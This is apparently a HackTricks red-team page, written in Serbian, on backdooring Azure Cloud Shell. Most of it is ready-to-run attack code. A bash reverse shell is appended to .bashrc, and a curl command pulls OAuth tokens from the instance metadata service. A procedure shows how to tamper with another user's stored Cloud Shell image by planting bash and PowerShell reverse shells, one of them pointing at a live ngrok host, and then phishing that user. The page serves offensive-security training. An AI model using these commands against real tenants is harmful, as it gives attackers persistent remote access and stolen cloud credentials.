Az - Cloud Shell Persistence

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud Shell Persistence

Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima sa persistentnim skladištem i automatskom autentifikacijom. Napadači mogu iskoristiti ovo postavljanjem backdoora u persistentni direktorijum:

  • Persistent Storage: Početni direktorijum Azure Cloud Shell-a je montiran na Azure deljenje datoteka i ostaje netaknut čak i nakon završetka sesije.
  • Startup Scripts: Datoteke kao što su .bashrc ili config/PowerShell/Microsoft.PowerShell_profile.ps1 automatski se izvršavaju na početku svake sesije, omogućavajući persistentno izvršavanje kada se cloud shell pokrene.

Primer backdoora u .bashrc:

bash
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Ova backdoor može izvršavati komande čak i 5 minuta nakon što je korisnik završio sa cloud shell-om.

Dodatno, upitite Azure-ovu metadata uslugu za detalje instance i tokene:

bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell Phishing

Ako napadač pronađe slike drugih korisnika u Storage Accoutu kojem ima pristup za pisanje i čitanje, moći će da preuzme sliku, doda bash i PS backdoor u nju, i ponovo je otpremi u Storage Account tako da će sledeći put kada korisnik pristupi shell-u, komande biti automatski izvršene.

  • Preuzmi, backdoor i otpremi sliku:
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Zatim, phishingujte korisnika da pristupi https://shell.azure.com/

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks